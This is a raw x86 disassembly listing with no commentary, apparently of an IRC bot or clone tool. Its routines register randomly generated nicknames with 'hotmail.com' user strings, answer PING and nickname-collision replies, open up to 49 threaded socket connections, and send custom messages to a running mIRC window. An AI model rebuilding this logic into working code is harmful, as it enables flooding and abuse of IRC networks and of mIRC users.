=============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D3FF8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call near ptr 2790B66h nop push eax nop call near ptr 2790000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D35E0 mov edi, 200h mov esi, offset dword_4D2BE0 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D3FF8 add eax, eax push eax push dword_4D4000 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3DE4 mov eax, dword_4D3FF8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B4C push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B9C push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 call near ptr 2790B66h nop push eax call near ptr 2780000h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_417782 push edi call dword_4CB00C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_429998 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D400C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFC4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA72C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA2C ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387B4 jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387A4 loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFC4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4014[esi] mov dword_4D4008[esi], edi push dword_4D4214[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D400C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D400C[esi] call dword_4CAFC4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D400C[esi] call dword_4CAF8C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D400C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4008[esi], ebx mov esi, dword_4D400C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB00C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4008 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA728 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4014[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4214[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4008[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx nop call near ptr 2670000h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437EF0[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437BF0[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437EF0[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2670763h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27B0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA72C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF44 test eax, eax jz short loc_41820D push 1 call dword_4CAF64 mov esi, eax test esi, esi jz short loc_41820D push edi push esi nop call near ptr 27C06ADh push esi mov edi, eax nop call near ptr 27C0000h call dword_4CAFC8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAF80 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 27D0182h nop push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 27D0000h nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CAFD0 push esi push 1 push 4C9h push ebp call dword_4CAFD0 push ebx nop call near ptr 27C0CE5h push edi nop call near ptr 2651957h push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h 